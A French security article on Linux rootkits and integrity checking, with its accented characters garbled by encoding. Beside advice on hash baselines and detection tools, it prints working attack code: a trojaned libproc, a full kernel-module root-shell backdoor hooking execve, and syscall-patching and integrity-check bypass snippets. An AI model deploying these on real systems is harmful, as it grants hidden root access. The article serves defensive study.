Root-kits et int�grit�

ArticleCategory:

System Administration

AuthorImage:

Frederic Raynal

TranslationInfo:[Author and translation history]

original in fr Fr�d�ric Raynal aka Pappy  

AboutTheAuthor

Fr�d�ric Raynal est titulaire d'un Doctorat en informatique apr�s une th�se sur les outils destin�s � la dissimulation d'information. Il est le r�dacteur en chef de la revue MISC d�di�e � la s�curit� informatique. Accessoirement, il est � la recherche d'un emploi dans le domaine de la R&D.

Abstract

Cet article a �t� publi� dans un num�ro sp�cial sur la s�curit� de Linux Magazine France. L'�diteur, les auteurs, les traducteurs ont aimablement accept� que tous les articles de ce num�ro hors-s�rie soient publi�s dans LinuxFocus. En cons�quence, LinuxFocus vous "offrira" ces articles au fur et � mesure de leur traduction en Anglais. Merci � toutes les personnes qui se sont investies dans ce travail. Ce r�sum� sera reproduit pour chaque article ayant la m�me origine.

Cet article pr�sente les diff�rentes op�rations entreprises par un pirate apr�s qu'il ait r�ussi � p�n�trer sur une machine. Nous verrons �galement les mesures qu'un administrateur peut prendre pour d�tecter que la machine est corrompue.

ArticleIllustration:

gate

ArticleBody:[The article body]

Compromission

Dans cet article, nous partons de l'hypoth�se qu'un pirate est parvenu � entrer sur le syst�me, sans nous soucier de la m�thode. Nous consid�rons qu'il dispose de tous les droits (administrateur, root...) sur cette machine. Le syst�me entier n'est alors plus digne de confiance, m�me si tous ses outils semblent indiquer le contraire. Il a nettoy� ses traces dans les logs... bref, il est install� confortablement sur votre syst�me.

Son premier but va �tre de se faire le plus discret possible afin que l'administrateur de la machine ne d�tecte pas sa pr�sence. Ensuite, une fois que ces pr�cautions sont prises, il installe tous les outils dont il a besoin, selon les buts qu'il poursuit. Bien s�r, s'il cherche � d�truire les donn�es de la machine, il n'a pas � prendre cette peine.

De son c�t� l'administrateur ne peut pas rester connect� en permanence sur sa machine, � l'�coute de la moindre connexion. Cependant, il est essentiel qu'il d�tecte au plus vite tout pr�sence ind�sir�e. En effet, le syst�me compromis sert alors de rampe de lancement pour diff�rents programmes du pirate (bot IRC, DDOS,... ). Dans le cas d'un sniffer par exemple, il r�cup�re ainsi tous les paquets qui transitent sur le r�seau. Or, de nombreux protocoles ne chiffrent ni les donn�es, ni les mots de passe (comme telnet, rlogin, pop3, et beaucoup d'autres encore). Donc, plus l'attaquant dispose de temps, plus son contr�le s'�tend sur le r�seau auquel appartient la machine compromise.

Une fois sa pr�sence d�tect�e, un autre probl�me survient : nous ne savons pas ce que le pirate a modifi� sur le syst�me. Il a probablement corrompu les commandes de base et outils de diagnostic pour se dissimuler. Il faut donc poss�der une m�thode qui garantit de ne pas oublier quoique ce soit, sous peine de voir le syst�me � nouveau compromis.

La derni�re question rel�ve des mesures � prendre. Deux politiques s'affrontent. Soit l'administrateur choisit de r�installer int�gralement le syst�me, soit il remplace uniquement les fichiers corrompus. Si une r�installation compl�te prend souvent beaucoup de temps, rechercher tous les programmes modifi�s, en �tant certain de ne pas en oublier, n'en est pas moins minutieux.

Quelle que soit la m�thode choisie, il est recommand� de faire une sauvegarde du syst�me corrompu afin de d�couvrir les m�thodes employ�es par le pirate. De plus, il se peut que cette machine prenne part � une attaque de plus grande envergure, qui entra�ne des poursuites � votre �gard. Ne pas effectuer la sauvegarde peut alors �tre assimil� � de la destruction de preuves ... qui pourraient en outre servir � vous innocenter.

L'invisibilit� existe ... je l'ai vue !

Nous allons pr�senter ici quelques unes des diff�rentes m�thodes employ�es pour devenir invisible sur un syst�me compromis et s'assurer de conserver des privil�ges maximum sur le syst�me exploit�.

Avant d'entrer dans le vif du sujet, pr�cisons tout d'abord quelques termes de vocabulaire :

Une fois sur un syst�me compromis par ses soins, le pirate a besoin de ces deux types de programmes. Les backdoors l'autorisent � entrer sur la machine, m�me si l'administrateur prend soin de changer tous les mots de passe. Les trojans lui permettent essentiellement de rester invisible.

Dans la suite, nous ne nous soucierons pas de savoir si on parle de trojans ou de backdoors. Notre but est de montrer les techniques qui existent pour les mettre en oeuvre (elles sont essentiellement identiques) et les d�tecter.

Enfin, signalons que la plupart des distributions Linux offrent un m�canisme d'authentification (i.e. v�rification � la fois de l'int�grit� des fichiers et de leur provenance - rpm --checksig par exemple). Il est fortement recommand� de bien la v�rifier avant d'installer quoique ce soit sur votre machine. Si vous r�cup�rez une archive corrompue et que vous l'installez vous-m�me, le pirate n'aura plus rien � faire :( Par exemple, c'est ce qui se produit sous Windows avec Back Orifice.

Remplacement des binaires

Dans la pr�histoire des syst�mes Unix, il n'�tait pas tr�s difficile de d�tecter la pr�sence d'un intrus sur une machine :

Depuis, les pirates ont d�velopp� des outils qu'ils substituent � ces commandes. Tout comme les Grecs ont construit un cheval de bois pour piller Troie, ces programmes ressemblent � une chose connue et en laquelle l'administrateur a confiance. Cependant, ces nouvelles versions dissimulent les informations relatives au pirate. Comme les fichiers conservent les m�mes timestamps (dates de cr�ation et de la derni�re modification du fichier) que les autre programmes du r�pertoire, que les checksums n'ont pas chang� (via un autre trojan), l'administrateur na�f n'y verra que du feu.

Pr�sentation du Linux Root-Kit

Linux Root-Kit (lrk) est un classique du genre (bien qu'un peu vieux). D�velopp� initialement par Lord Somer, il en est actuellement � sa cinqui�me version. Il existe de nombreux autres root-kits, et nous ne d�taillerons ici que les fonctionnalit�s apport�es par celui-ci afin de vous donner une id�e plus pr�cise des capacit�s de ces outils.

Les commandes remplac�es offrent des acc�s privil�gi�s sur le syst�me. Pour �viter qu'ils ne se r�v�lent � une personne utilisant une de ces commandes, ils sont prot�g�s par un mot de passe (satori par d�faut), configurable lors de la compilation.

Ce root-kit classique est d�pass� par ceux de nouvelle g�n�ration qui attaquent directement le noyau du syst�me. De plus, les versions des logiciels qu'il affecte ne sont plus d'actualit�.

D�tection de ce type de root-kit

A condition de mener une politique s�curitaire rigoureuse, ce type de root-kit est facilement d�tectable. La cryptographie nous fournit, avec les fonctions de hachage, l'outil parfait pour ceci :

[lrk5/net-tools-1.32-alpha]# md5sum ifconfig
086394958255553f6f38684dad97869e  ifconfig
[lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig`
f06cf5241da897237245114045368267  /sbin/ifconfig

Sans savoir exactement ce qui a �t� modifi�, on constate tout de suite que la version de ifconfig install�e et celle du lrk5 diff�rent.

Ainsi, d�s que l'installation d'une machine est termin�e, il est n�cessaire de cr�er une sauvegarde compl�te des fichiers sensibles (nous reviendrons sur la notion de "fichier sensible") sous forme de hach�s dans une base de donn�es, afin de d�tecter le plus rapidement possible la moindre alt�ration.

La base de donn�es doit �tre plac�e sur un support prot�g� en �criture physiquement (disquette, CD non r�-inscriptible...). Consid�rons que le pirate a obtenu des droits similaires � ceux de l'administrateur sur le syst�me. Si la base de donn�es est situ�e sur une partition mont�e en read-only, il suffit au pirate de la remonter en read-write, de mettre � jour la base puis de remettre la partition en read-only. S'il est consciencieux, il prendra m�me soin de corriger les timestamps. Ainsi, lorsque vous effectuerez votre prochain test d'int�grit�, aucune diff�rence ne sera r�v�l�e. Il appara�t alors que m�me les droits du super-utilisateur ne doivent suffire � mettre � jour la base de donn�es.

Ensuite, lorsque vous mettez � jour votre syst�me, vous faites de m�me avec cette sauvegarde. De cette mani�re, si vous contr�lez �galement l'authenticit� de vos mises � jour, vous �tes � m�me de d�tecter la moindre modification ind�sir�e.

Cependant, la v�rification de l'int�grit� d'un syst�me repose deux conditions n�cessaires :

  1. les hach�s calcul�s � partir des fichiers du syst�me doivent �tre compar�s � des hach�s dont l'int�grit� ne peut �tre mise en doute, d'o� la n�cessit� de sauvegarder sur un support en lecture seule la base de donn�es ;
  2. les outils employ�s pour v�rifier l'int�grit� doivent �tre sains.

Ainsi, toute v�rification du syst�me doit se faire � l'aide d'outils provenant d'un autre syst�me, non compromis.

Utilisation des librairies dynamiques

Comme nous venons de le voir, r�ussir � se rendre invisible n�cessite de modifier beaucoup d'�l�ments du syst�me. De multiples commandes permettent de d�tecter la pr�sence d'un fichier, et chacune d'elle doit �tre modifi�e. Il en va de m�me pour les connexions r�seau de la machine ou encore les processus courants. Le moindre oubli s'av�re fatal pour la discr�tion.

A l'heure actuelle, pour �viter d'avoir des programmes trop gros, la plupart des binaires font appel � des biblioth�ques dynamiques. Pour r�soudre le probl�me �voqu� pr�c�demment, une solution plus simple consiste � aller modifier non plus chacun des binaires, mais seulement les fonctions n�cessaires dans la biblioth�que ad�quate.

Prenons l'exemple d'un pirate qui veut modifier l'uptime d'une machine parce qu'il vient de la rebooter. Cette information est fournit par le syst�me via diff�rentes commandes, telles uptime, w, top

Pour conna�tre les librairies n�cessaires � ces binaires, nous nous servons de la commande ldd :

[pappy]# ldd `which uptime` `which ps` `which top`
/usr/bin/uptime:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000)
        libc.so.6 => /lib/libc.so.6 (0x40077000)
        libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

Outre la libc, la librairie que nous recherchons ici est libproc.so. Il suffit alors de r�cup�rer les sources pour aller modifier ce qui nous arrange. Nous utiliserons ici la version 2.0.7, plac�e dans le r�pertoire $PROCPS.

Les sources de la commande uptime (dans uptime.c) nous signalent que nous devons trouver la fonction print_uptime() (dans $PROCPS/proc/whattime.c) puis la fonction uptime(double *uptime_secs, double *idle_secs) (dans $PROCPS/proc/sysinfo.c). Modifions cette derni�re � notre convenance :

/* $PROCPS/proc/sysinfo.c */

 1:  int uptime(double *uptime_secs, double *idle_secs) {
 2:    double up=0, idle=1000;
 3:  
 4:    FILE_TO_BUF(UPTIME_FILE,uptime_fd);
 5:    if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
 6:      fprintf(stderr, "bad data in " UPTIME_FILE "\n");
 7:      return 0;
 8:    }
 9:    
10:  #ifdef _LIBROOTKIT_
11:    {
12:      char *term = getenv("TERM");
13:      if (term && strcmp(term, "satori"))
14:        up+=3600 * 24 * 365 * log(up);
15:    }
16:  #endif /*_LIBROOTKIT_*/
17:
18:    SET_IF_DESIRED(uptime_secs, up);
19:    SET_IF_DESIRED(idle_secs, idle);
20:
21:    return up;	/* assume never be zero seconds in practice */
22:  }

Le simple ajout, par rapport � la version initiale, des lignes 12 � 18 incluses change le r�sultat produit par la fonction. En effet, si la variable d'environnement TERM ne contient pas la cha�ne "satori", alors la variable up est incr�ment�e proportionnellement au logarithme de l'uptime r�elle de la machine (avec la formule employ�e, l'uptime sera assez vite de plusieurs ann�es :)

Pour compiler notre nouvelle biblioth�que, nous avons ajout� les options -D_LIBROOTKIT_ et -lm (pour le log(up);). Lorsqu'on regarde avec ldd les biblioth�ques n�cessaires � l'ex�cution d'un binaire utilisant notre fonction uptime, on voit alors que libm en fait partie. Malheureusement, ce n'est pas le cas des binaires install�s sur le syst�me. Utiliser notre biblioth�que telle quelle conduit � l'erreur suivante :

[procps-2.0.7]# ldd ./uptime  //cmd compil�e avec la nouvelle libproc.so
        libm.so.6 => /lib/libm.so.6 (0x40025000)
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000)
        libc.so.6 => /lib/libc.so.6 (0x40052000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# ldd `which uptime` //cmd d'origine
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40031000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# uptime  //cmd d'origine
uptime: error while loading shared libraries: /lib/libproc.so.2.0.7:
undefined symbol: log

Pour ne pas recompiler chacun des binaires, il suffit de forcer l'utilisation de la biblioth�que statique de math lors de la cr�ation de libproc.so :

gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7  alloc.o
compare.o devname.o ksym.o output.o pwcache.o readproc.o signals.o status.o
sysinfo.o version.o whattime.o /usr/lib/libm.a

Ainsi, la fonction log() est incorpor�e directement dans libproc.so. Il faut que la biblioth�que modifi�e conserve les m�mes d�pendences que l'originale, sans quoi les binaires qui y font appel ne peuvent plus fonctionner.

[pappy]# uptime
  2:12pm  up 7919 days,  1:28,  2 users,  load average: 0.00, 0.03, 0.00

[pappy]# w
  2:12pm  up 7920 days, 22:36,  2 users,  load average: 0.00, 0.03, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:17m  1.02s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:17m  0.02s  0.02s  /bin/cat

[pappy]# top
  2:14pm  up 8022 days, 32 min,  2 users,  load average: 0.07, 0.05, 0.00
51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped
CPU states:  2.9% user,  1.1% system,  0.0% nice, 95.8% idle
Mem:   191308K av,  181984K used,    9324K free,       0K shrd,    2680K buff
Swap:  249440K av,       0K used,  249440K free                   79260K cached

[pappy]# export TERM=satori                    
[pappy]# uptime
  2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00

[pappy]# w
  2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:20m  1.04s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:20m  0.02s  0.02s  /bin/cat

[pappy]# top
top: Unknown terminal "satori" in $TERM

Tout fonctionne presque parfaitement. Il semble que top utilise la variable d'environnement TERM pour g�rer son affichage. Il vaut mieux utiliser une autre variable pour passer le signal indiquant de d�livrer la v�ritable valeur.

La mise en oeuvre n�cessaire � la d�tection de modifications dans les biblioth�ques dynamiques est identique � celle �voqu�e pr�c�demment. Il suffit d'en v�rifier le hach�. Malheureusement, de trop nombreux administrateurs n�gligent de les calculer et se contentent des r�pertoires classiques (/bin, /sbin, /usr/bin, /usr/sbin, /etc...) alors que tous les r�pertoires contenant ces biblioth�ques sont tout autant sensibles.

Mais l'int�r�t de modifier des biblioth�ques dynamiques ne r�side pas uniquement dans la possibilit� d'influencer plusieurs binaires en m�me temps. Les programmes qui v�rifient l'int�grit� font eux aussi parfois appels � de telles biblioth�ques. Ceci est tr�s dangereux ! Sur un syst�me sensible, tous les programmes vitaux doivent �tre compil�s en statique, afin que les modifications subies par les biblioth�ques ne s'y r�percutent pas.

Ainsi, le programme md5sum employ� pr�c�demment s'av�re risqu� :

[pappy]# ldd `which md5sum`
        libc.so.6 => /lib/libc.so.6 (0x40025000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

Il fait appel dynamiquement � des fonctions de la libc qui ont pu �tre modifi�es (le voir avec nm -D `which md5sum`). Par exemple, lorsqu'un fopen() est effectu�, il suffit de v�rifier le chemin vers le fichier demand�. S'il correspond � celui d'un programme pirat�, alors on le redirige vers le programme initial, que le pirate a pris soin de conserver cach� quelque part sur le syst�me.

Cet exemple assez simpliste montre d�j� les possibilit�s offertes pour tromper les tests d'int�grit�. Nous avions vu qu'ils devaient �tre conduits � partir d'outils externes au syst�me compromis (cf. la partie sur les binaires). Nous apprenons maintenant qu'ils ne servent � rien s'ils font eux-m�me appel � des fonctions du syst�me compromis.

D�s � pr�sent, nous pouvons constituer une trousse d'urgence pour d�tecter la pr�sence du pirate :

Ces programmes constituent le minimum vital. Cependant, d'autres commandes se r�v�lent �galement tr�s instructives :

Signalons qu'elles ne servent pas uniquement lorsque nous recherchons � d�tecter la pr�sence d'un pirate, mais �galement pour diagnostiquer des pannes sur le syst�me.

Il va de soi que tous les programmes pr�sents dans la trousse de secours doivent �tre compil�s statiquement. Nous venons de voir que les biblioth�ques dynamiques peuvent �tre fatales.

Linux Kernel Module (LKM) for fun and profit

De m�me vouloir modifier tous les binaires capables de d�tecter la pr�sence d'un fichier, souhaiter contr�ler toutes les fonctions de toutes les biblioth�ques rel�ve de l'impossible. "Impossible", dites-vous ? Pas tout � fait. Un petit village r�siste encore et toujours � l'envahisseur ... mais plus pour longtemps.

Une nouvelle g�n�ration de root-kits a fait son apparition. Ils attaquent directement le noyau.

Port�e d'un LKM

Illimit�e ! Comme son nom l'indique, un LKM agit directement dans l'espace du noyau, il a donc acc�s � tout et peut tout contr�ler.

Pour un pirate, un LKM permet de :

La liste est aussi longue que le pirate a d'imagination. Cependant, comme c'�tait d�j� le cas avec les m�thodes pr�sent�es auparavant, un administrateur peut recourir aux m�mes outils, et programmer ses propres modules pour d�fendre son syst�me :

Comment se prot�ger contre les LKMs ? Lors de la compilation, il est possible de d�sactiver le support des modules (r�pondre N � CONFIG_MODULES) ou bien de ne pas en s�lectionner lorsque c'est possible (i.e. ne r�pondre que Y ou N). Ceci conduit � un noyau dit monolithique.

Cependant, m�me si le noyau ne supporte pas les modules, il est quand m�me possible d'en charger en m�moire (m�me si ce n'est pas la chose la plus simple). Silvio Cesare a �crit le programme kinsmod qui permet d'aller attaquer directement le noyau via le device /dev/kmem qui g�re la m�moire occup�e par celui-ci (lire runtime-kernel-kmem-patching.txt sur sa page).

Pour r�sumer la programmation de modules, tout repose sur deux fonctions au nom assez explicite : init_module() et cleanup_module(). Elles d�finissent le comportement du module. Mais surtout, comme elles sont ex�cut�es dans l'espace du noyau, elles ont acc�s � tout ce qui se passe dans la m�moire du noyau, comme les appels syst�me ou les symboles.

Par ici l'entr�e s'il vous pla�t !

Nous allons pr�senter l'installation d'une backdoor via un lkm. L'utilisateur qui voudra obtenir un shell root n'aura qu'� ex�cuter la commande /etc/passwd. Certes, ce fichier n'est pas une commande. Cependant, comme nous d�tournons l'appel syst�me sys_execve(), nous le redirigeons vers la commande /bin/sh, en s'arrangeant pour transmettre les droits root sur ce shell.

Ce module a �t� test� sur plusieurs noyaux~: 2.2.14, 2.2.16, 2.2.19, 2.4.4. Il fonctionne parfaitement sur tous ces noyaux. Cependant, sur un 2.2.19smp-ow1 (multi-processeurs avec patch Openwall), si un shell est bien ouvert, il ne donne pas les privil�ges root :( Le noyau est vraiment quelque chose de sensible et fragile, alors prenez garde � ce que vous faites ... Par ailleurs, les fichiers indiqu�s le sont par rapport � l'arborescence classique des sources du noyau.

/* rootshell.c */
#define MODULE
#define __KERNEL__

#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#include <linux/smp_lock.h>

#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
#include <linux/slab.h>
#endif

int (*old_execve)(struct pt_regs);

extern void *sys_call_table[];

#define ROOTSHELL "[rootshell] "

char magic_cmd[] = "/bin/sh";

int new_execve(struct pt_regs regs) {
  int error;
  char * filename, *new_exe = NULL;
  char hacked_cmd[] = "/etc/passwd";

  lock_kernel();
  filename = getname((char *) regs.ebx);

  printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename, 
	 current->uid, current->euid, current->suid, current->fsuid, 
	 current->gid, current->egid, current->sgid, current->fsgid);

  error = PTR_ERR(filename);
  if (IS_ERR(filename))
    goto out;

  if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
    printk(ROOTSHELL " Got it :)))\n");
    current->uid = current->euid = current->suid = current->fsuid = 0;
    current->gid = current->egid = current->sgid = current->fsgid = 0;

    cap_t(current->cap_effective) = ~0;
    cap_t(current->cap_inheritable) = ~0;
    cap_t(current->cap_permitted) = ~0;

    new_exe = magic_cmd;
  } else
    new_exe = filename;

  error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, &regs);
  if (error == 0)
#ifdef PT_DTRACE	/* 2.2 vs. 2.4 */
    current->ptrace &= ~PT_DTRACE;
#else
  current->flags &= ~PF_DTRACE;
#endif
   putname(filename);
 out:
  unlock_kernel();
  return error;
}

int init_module(void)
{
  lock_kernel();

  printk(ROOTSHELL "Loaded :)\n");

#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
		  sys_call_table[__NR_##x] = new_##x
  
  REPLACE(execve);

  unlock_kernel();
  return 0;
}

void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
  RESTORE(execve);

  printk(ROOTSHELL "Unloaded :(\n");
}

V�rifions que tout fonctionne comme nous le souhaitons :

[root@charly rootshell]$ insmod rootshell.o
[root@charly rootshell]$ exit
exit
[pappy]# id
uid=500(pappy) gid=100(users) groups=100(users)
[pappy]# /etc/passwd
[root@charly rootshell]$ id
uid=0(root) gid=0(root) groups=100(users)
[root@charly rootshell]$ rmmod rootshell
[root@charly rootshell]$ exit
exit
[pappy]#

Apr�s cette courte d�monstration, jetons �galement un coup d'oeil au contenu du fichier /var/log/kernel, charg� par syslogd d'enregistrer tous les messages �mis par le noyau (kern.* /var/log/kernel dans /etc/syslogd.conf) :

May 25 11:24:41 charly kernel: [rootshell] Loaded :)
May 25 11:24:53 charly kernel: [rootshell]  ./usr/bin/id. (500/500/500/500) 
(100/100/100/100)
May 25 11:24:59 charly kernel: [rootshell]  ./etc/passwd. (500/500/500/500) 
(100/100/100/100)
May 25 11:24:59 charly kernel: [rootshell]  Got it :)))
May 25 11:25:02 charly kernel: [rootshell]  ./usr/bin/id. (0/0/0/0) (0/0/0/0)
May 25 11:25:07 charly kernel: [rootshell]  ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
May 25 11:25:10 charly kernel: [rootshell] Unloaded :(

En modifiant l�g�rement ce module, un administrateur dispose d'un excellent outil de surveillance. En effet, toutes les commandes lanc�es sur le syst�me sont enregistr�es dans les logs du noyau. Le registre regs.ecx contient **argv et regs.edx **envp, ce qui, avec la structure current qui d�crit la t�che en cours, permet d'obtenir toutes les informations n�cessaires pour savoir � chaque instant ce qui se passe.

D�tection et pr�vention

Du point de vue administrateur, le test d'int�grit� ne permet plus de d�couvrir la pr�sence de ce module (en fait, ce n'est pas tout � fait exact car ce module est tr�s simple). Nous allons donc analyser les traces potentiellement laiss�es par de tels root-kits :

Les probl�mes/solutions pr�sent�s ici s'appuient sur des commandes issues de l'espace utilisateur. Un bon LKM utilisera toutes ces techniques pour se rendre invisible.

Il existe toutefois deux solutions pour d�tecter ces root-kits. La premi�re consiste � utiliser le device /dev/kmem pour comparer ce qui est pr�sent dans cette image de la m�moire du noyau avec ce qui est d�clar� publiquement dans /proc. Un outil comme kstat permet d'aller fouiller dans /dev/kmem pour v�rifier les processus pr�sents sur le syst�me, les adresses des appels syst�me ... L'article Detecting Loadable Kernel Modules (LKM) de Toby Miller d�crit comment utiliser kstat pour d�tecter de tels root-kits.

Une autre approche consiste � d�tecter toute tentative de modifications de la table des appels syst�me. Le module St_Michael de Tim Lawless propose une telle supervision. Les informations qui suivent sont susceptibles de changer car le module est encore en cours d'�laboration � l'heure de la r�daction de cet article.

Comme nous l'avons vu sur l'exemple pr�c�dent, les lkms root-kits reposent sur la modification de la table des appels syst�me. Une premi�re solution consiste alors � sauvegarder leur adresse dans un tableau secondaire et � red�finir les appels qui g�rent les modules sys_init_module() et sys_delete_module(). Ainsi, apr�s le chargement de chaque module, on v�rifie que l'adresse co�ncide toujours :

/* Extrait du module St_Michael de Tim Lawless */

asmlinkage long
sm_init_module (const char *name, struct module * mod_user)
{
  int init_module_return;
  register int i;

  init_module_return = (*orig_init_module)(name,mod_user);
   
  /* 
     Verify that the syscall table is the same. 
     If its changed then respond 

     We could probably make this a function in itself, but
     why spend the extra time making a call?
  */

  for (i = 0; i < NR_syscalls; i++) {
    if ( recorded_sys_call_table[i] != sys_call_table[i] ) {
      int j;
      for ( i = 0; i < NR_syscalls; i++)
	sys_call_table[i] = recorded_sys_call_table[i];
      break;
    }   
  }
  return init_module_return;
}

Cette solution permet de se pr�munir contre les lkm root-kits actuels mais elle est loin d'�tre parfaite. La s�curit� est une sorte de course � l'armement, et voici un moyen de contourner cette protection. Plut�t que de modifier l'adresse de l'appel syst�me, pourquoi ne pas modifier le code d'appel syst�me lui-m�me ? Cette technique est d�crite dans stealth-syscall.txt de Silvio Cesare. L'attaque remplace les premiers octets du code de l'appel syst�me par l'instruction "jump &new_syscall" (ici en pseudo Assembleur) :

/* Extrait de stealth_syscall.c (Linux 2.0.35) par Silvio Cesare */

static char new_syscall_code[7] =
        "\xbd\x00\x00\x00\x00"  /*      movl   $0,%ebp  */
        "\xff\xe5"              /*      jmp    *%ebp    */
;

int init_module(void)
{
  *(long *)&new_syscall_code[1] = (long)new_syscall;
  _memcpy(syscall_code, sys_call_table[SYSCALL_NR], sizeof(syscall_code));
  _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code));
  return 0;
}

Tout comme nous prot�geons nos binaires et biblioth�ques avec des tests d'int�grit�, la m�me d�marche s'impose ici. Il nous faut conserver un hach� du code machine de chaque appel syst�me. Nous travaillons actuellement � cette mise en oeuvre dans St_Michael en modifiant l'appel-syst�me init_module() de sorte � ce qu'un test d'int�grit� soit effectu� apr�s le chargement de chaque module.

Cependant, m�me ainsi, il est possible de contourner le test d'int�grit� (les exemples sont issus de la correspondance entre Tim Lawless, Mixman et moi-m�me ; les sources sont dues � Mixman) :

  1. Modification d'une fonction autre qu'un appel-syst�me : le principe est le m�me qu'avec un appel-syst�me. Dans init_module(), on modifie les premiers octets d'une fonction (printk() dans l'exemple) pour que cette fonction "saute" vers un hacked_printk()
          /* Extrait de printk_exploit.c par Mixman */
          
          static unsigned char hacked = 0;
    
          /* hacked_printk() effectue les remplacements d'appel-syst�me.
             Ensuite, on effectue le printk() normal pour que tout
             fonctionne correctement */
          asmlinkage int hacked_printk(const char* fmt,...)
          {
            va_list args;
            char buf[4096];
            int i;
    
            if(!fmt) return 0;
            if(!hacked) {
              sys_call_table[SYS_chdir] = hacked_chdir;
              hacked = 1;
            }
            memset(buf,0,sizeof(buf));
            va_start(args,fmt);
            i = vsprintf(buf,fmt,args);
            va_end(args);
            return i;
          }
          
    Ainsi, le test d'int�grit� plac� dans la red�finition de init_module(), confirme qu'aucun appel-syst�me n'a �t� modifi� lors du chargement. Cependant, au prochain appel de la fonction printk(), le changement prend place...
    Pour contrer ceci, le test d'int�grit� doit �tre �tendu � l'ensemble des fonctions du noyau.
  2. Utilisation d'un timer : dans init_module(), la d�claration d'un timer active la modification bien apr�s le chargement du module. Ainsi, comme les tests d'int�grit� �taient pr�vus uniquement au (d�)chargement de modules, l'attaque passe inaper�ue :(
          /* timer_exploit.c par Mixman */
          
          #define TIMER_TIMEOUT  200
    
          extern void* sys_call_table[];
          int (*org_chdir)(const char*);
    
          static timer_t timer;
          static unsigned char hacked = 0;
    
          asmlinkage int hacked_chdir(const char* path)
          {
            printk("Some sort of periodic checking could be a solution...\n");
            return org_chdir(path);
          }
    
          void timer_handler(unsigned long arg)
          {
            if(!hacked) {
              hacked = 1;
              org_chdir = sys_call_table[SYS_chdir];
              sys_call_table[SYS_chdir] = hacked_chdir;
            }
          }
    
          int init_module(void)
          {
            printk("Adding kernel timer...\n");
            memset(&timer,0,sizeof(timer));
            init_timer(&timer);
            timer.expires = jiffies + TIMER_TIMEOUT;
            timer.function = timer_handler;
            add_timer(&timer);
            printk("Syscall sys_chdir() should be modified in a few seconds\n");
            return 0;
          }
    
          void cleanup_module(void)
          {
            del_timer(&timer);
            sys_call_table[SYS_chdir] = org_chdir;
          }
          
    La solution envisag�e pour le moment est de lancer le test d'int�grit� de temps en temps, et non plus uniquement au (d�)chargement d'un module.

Conclusion

Conserver l'int�grit� d'un syst�me n'est pas chose ais�e. Bien que ces tests soient fiables en eux-m�mes, les moyens de les contourner sont nombreux. La seule solution est de ne faire confiance � rien lors de l'�valuation, et en particulier d�s lors qu'une intrusion est suspect�e. Le plus s�r est d'�teindre le syst�me, puis de rebooter sur un autre, sain, pour �valuer les dommages.

Les outils et m�thodes pr�sent�s dans cet article sont � double tranchant. Ils servent aussi bien les int�r�ts du pirate que celui de l'administrateur. En effet, comme nous l'avons vu avec le module rootshell, il permet aussi de contr�ler qui lance quoi.

Lorsque des tests d'int�grit� sont mis en place selon un politique pertinente, les root-kits classiques sont facilement d�tectables. L'apparition de ceux fond�s sur les modules rel�ve d'un nouveau d�fi. Des outils pour les contrer sont en cours de d�veloppement, tout comme ces modules d'ailleurs, qui n'ont pas encore atteint le maximum de leurs capacit�s. La s�curit� autour du noyau pr�occupe de plus en plus de personnes, � tel point que Linus a demand� � ce que les noyaux 2.5 int�grent un module charg� de la s�curit�. Ce revirement vient de la multiplication de patches applicables (Openwall, Pax, LIDS, kernelli, pour n'en citer que quelques uns).

Quoiqu'il en soit, souvenez-vous qu'une machine potentiellement compromise ne peut v�rifier sa propre int�grit�. Il ne faut faire confiance � aucun de ses programmes, ni aucune des informations qu'elle fournit.


Liens